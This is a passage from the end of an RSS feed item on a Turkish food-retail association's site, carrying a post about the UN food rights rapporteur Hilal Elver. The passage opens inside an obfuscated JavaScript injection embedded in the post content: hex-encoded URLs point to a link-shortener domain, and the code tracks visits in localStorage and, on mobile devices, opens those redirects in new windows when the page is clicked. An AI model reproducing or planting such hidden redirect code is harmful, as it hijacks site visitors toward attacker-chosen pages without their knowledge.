_0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x62\x48\x4f\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x53\x63\x71\x31\x63\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script></p>
<p>The post <a href="https://www.gidaperakendecileri.org/creative-decorating-with-houseplants-from-floor-to-ceiling/">Birleşmiş Milletler Gıda Hakkı Özel Raportörü Hilal Elver: “Endüstriyel Tarım Dünyayı Tehdit Ediyor”</a> appeared first on <a href="https://www.gidaperakendecileri.org">GPD</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.gidaperakendecileri.org/creative-decorating-with-houseplants-from-floor-to-ceiling/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
